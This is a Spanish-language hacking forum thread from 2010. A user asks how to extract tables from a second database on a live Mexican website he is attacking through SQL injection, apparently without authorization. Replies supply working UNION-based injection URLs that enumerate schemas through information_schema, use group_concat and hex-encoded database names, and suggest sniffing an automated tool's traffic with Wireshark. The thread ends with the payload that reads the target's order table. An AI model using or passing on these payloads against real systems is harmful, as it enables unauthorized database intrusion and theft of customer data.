Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: pilotcast en 1 Septiembre 2010, 00:51 am



Título: Consulta a una db
Publicado por: pilotcast en 1 Septiembre 2010, 00:51 am
pues bien vengo de nuevo molestando...  :D jajaja lo que me ocurre haora esque tengo una web con SQLi pero cuando intento hacer la consulta me da el error

"Table 'suc.tlb_pedido' doesn't exist"

la cosa es que cuando consulto que columnas tiene la tabla tbl.pedido si existe... :( otra cosa es que existe otra DB llamada "mx" y utlizando una herramienta para testear SQLi me dice que la tabla que intento acceder por el navegador es de la DB "mx" haora mi pregunta es:¿tengo que especificar de cual DB agarre la tabla? y si es asi ¿cual es la sintaxis correcta de la inyeccion? osea donde va hubicada la espcificacion y como... :)


Desde ya muchas gracias


Título: Re: Consulta a una db
Publicado por: PHAMTOM en 1 Septiembre 2010, 12:02 pm
Aver, primero antes que nada ,no te recomiendo que uses herramientas para los ataques de sqlinyection,estas herramientas por ahi no son eficaces, y no aprendes nada usandolas, ya que hacen el trabajo por vos , haslo manualmente,esta lleno de manuales muy buenos en el faqs de aca de bugs a nivel web ,y  en el warzone de elhacker.


Para fijarte con que base de datos corre la pagina usamos la funcion de mysql database() ej :

http://pagina.com.ar/phpvulnerable.php?id=-6+union+select+0,1,2,database(),3,4,5,6 --

Esto supiendo que la columna 3 imprimir, para sacar todas las tablas de la db .. podriamos usar la funcion grupo_concat con el parametro table_name.

ejemplo :


http://pagina.com.ar/phpvulnerable.php?id=-6+union+select+0,1,2,group_concat(table_name),3,4,5,6+information.schema.tables --

Hacemos la inyeccion a information.schema_tables,donde estan los nombres de las tablas, esta esta despues de la version 4 de mysql si no me quivoco , para sacar la version de mysql podemos usar la funcion version() , o @@version ..


Ejemplo :

http://pagina.com.ar/phpvulnerable.php?id=-6+union+select+0,1,2,version(),3,4,5,6 --

Para especificar que las tablas que queremos sacar , sean de la base de datos que esta actualmente guardando las cosas la pagina usamos table_schema .. (Esto responderia tu pregunta,como seria la sintaxis de la inyección para especificar la base de datos , si queremos sacar las tablas de la db de la pagina seria algo asi :

ejemplo :
http://pagina.com.ar/phpvulnerable.php?id=-6+union+select+0,1,2,group_concat(table_name),3,4,5,6+from+information_schema.tablas + where + table_schema=database() --

Seria un poco mejor que me dieras tu inyeccion,no la pagina asi podriamos ver en que estas fallando , el gruop concat puede ser que no ande,por lo tanto tendras que usar limit para recorrer los nombres de las tablas y columnas,espero averte ayudado saludos.

Código:
PD : RECUERDA PONER SIEMPRE EL COMENTARIO A LO ULTIMO DE TU INYECCION( -- ) , PARA ELIMINAR EL RESTO DE LA CONSULTA.

PHAMTOM




Título: Re: Consulta a una db
Publicado por: pilotcast en 1 Septiembre 2010, 19:05 pm
Primero que nada Phamtom muchas gracias por responder pero quiero aclarar que si se hacer SQLi muy bn  :rolleyes: jajaja la modestia :D la cuestion es esta pongo la inyeccion asi:

http://www.xxxx.mx/xxxx_suc/impresion.php?id=xxx+and+1=0+union+all+select+1,group_concat(columnas),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+tablas--

y me da este error:

Table 'suc.tablas' doesn't exist

yo se que existe la otra DB llamada mx donde estan las tablas que yo quiero xD pero la cuestion es que cuando pongo algun query de tablas que no sean pertenecientes a la DB "suc" me da el error... osea que si puedo cosultar las tablas de la DB "suc" pero al momento de pedir que me muestre las tablas me imprime tanto con el group_concat como con el limit todas las tablas de las DB's osea que si puedo hacer query's a la DB "mx" la cuestion es que no se porque con la tool (por cierto quiero aclarar que solo la utilizo en casos criticos xD) si puede imprimir el contenido de las otras tablas y columnas :S



Gracias Phamtom

edito para demostrar que si se SQLi aqui estan las pruebas xD:

http://wannahack.forums-free.com/sql-injection-style-pilotcast-d-t33.html


un tuto hecho por mi xD


Título: Re: Consulta a una db
Publicado por: tragantras en 1 Septiembre 2010, 20:17 pm
cuando haces 3000 injecciones ya te cansas de estar escribiendo manualmente, yo estoy a favor de usar tools cuando se puede, si el caso no requiere técnicas complicadas...


puede que no tengas privilegios sobre la otra base de datos?

esk no te entendí o te explicas mal xD


Título: Re: Consulta a una db
Publicado por: pilotcast en 1 Septiembre 2010, 21:09 pm
jajaja se me da explicar mal las cosas xD bn creo que puede ser eso que tu mencionas sobre los privilegios sobre la db pero insisto porque el programa si logro extraer los datos??? :S


Título: Re: Consulta a una db
Publicado por: tragantras en 1 Septiembre 2010, 22:03 pm
la tool consigue listar las tablas por ejemplo de information_schema, pero, ¿consigue acceder a los datos de las tablas a cuya bdd no tienes acceso?


Título: Re: Consulta a una db
Publicado por: pilotcast en 1 Septiembre 2010, 22:24 pm
asi es... es lo que se me hace extraño porque intente hacer la consulta:

from mx.tabla--

para ver si me agarraba la consulta y nada y con la tool si me a impreso las columnas... :S


Título: Re: Consulta a una db
Publicado por: tragantras en 1 Septiembre 2010, 23:42 pm
asi es... es lo que se me hace extraño porque intente hacer la consulta:

from mx.tabla--

para ver si me agarraba la consulta y nada y con la tool si me a impreso las columnas... :S

no hombre no, esk las columnas se pueden listar desd information_schema

yo te hablo de DATOS, la tool consigue obtener un dato de una columan de una tabla ?! xD


Título: Re: Consulta a una db
Publicado por: pilotcast en 1 Septiembre 2010, 23:44 pm
jajaja perdon malentendi xD sip si consigue los datos... edito:aparte a lo que me referia era a intentar consultar la DB "mx" haciendo la consulta "union all select 1,2,3,group_concat(columna),5 from mx.tabla" para ver si resultaban los datos pero nada xD


Título: Re: Consulta a una db
Publicado por: PHAMTOM en 2 Septiembre 2010, 03:41 am
jajaja perdon malentendi xD sip si consigue los datos... edito:aparte a lo que me referia era a intentar consultar la DB "mx" haciendo la consulta "union all select 1,2,3,group_concat(columna),5 from mx.tabla" para ver si resultaban los datos pero nada xD

proba imprimir las tablas de la la db , asi :


select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=char(mx en ascii) --


Título: Re: Consulta a una db
Publicado por: pilotcast en 2 Septiembre 2010, 04:02 am
select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=0xDBenHex-- jajaja es mas facil encontrar un convertidor de text to hex =P deja lo intento

edito:and 1=0 union all select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from information_schema.tables where table_schema=0x6D78--


si me da las tablas pero al momento de quere extraer los datos de la tabla "pedidos" por ese metodo me da el tipico error:

"Table 'suc.pedidos' doesn't exist"

=S


Título: Re: Consulta a una db
Publicado por: PHAMTOM en 2 Septiembre 2010, 04:45 am
seguro , que existe la tabla pedidos ?


Título: Re: Consulta a una db
Publicado por: pilotcast en 2 Septiembre 2010, 04:49 am
of course my friend... te mando el link por correo???


Título: Re: Consulta a una db
Publicado por: tragantras en 3 Septiembre 2010, 00:56 am
select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=0xDBenHex-- jajaja es mas facil encontrar un convertidor de text to hex =P deja lo intento

edito:and 1=0 union all select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from information_schema.tables where table_schema=0x6D78--


si me da las tablas pero al momento de quere extraer los datos de la tabla "pedidos" por ese metodo me da el tipico error:

"Table 'suc.pedidos' doesn't exist"

=S


la table schema debería ser "suc", no "mx", si quiers extraer la table de pedidos..., mira pueds hacer una cosa, pillate un proxy web, o un sniffer tipo wireshark, lanza la consulta con la tool y observa que query lanzo!


Título: Re: Consulta a una db
Publicado por: pilotcast en 3 Septiembre 2010, 03:26 am
:O no lo habia pensado... muchas gracias lo intento i luego comento como me fue... jajaja de lujo men wireshark me dio el link que utiliza y no se ni poque funciono porq es practicamente lo que yo introducia...  :o jajaja bien me pondre a analizarlo la respuesta  era and+1=0 Union Select 1,group_concat(olumnas),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+FROM+mx.tabla--  eso seria todo...


Título: Re: Consulta a una db
Publicado por: tragantras en 3 Septiembre 2010, 11:45 am
jaja genial ^^

costó pero ahi está =) a mi es que siempre que se me escapaba algo así tiraba de wireshark que con sus filtros se ve todo muyh rapido! xD


Título: Re: Consulta a una db
Publicado por: pilotcast en 3 Septiembre 2010, 15:53 pm
seee la verdad es que eso es ingenio... xD muchas gracias @tragantras y a @phamtom por su ayuda... =)  ;-) :laugh: jajaja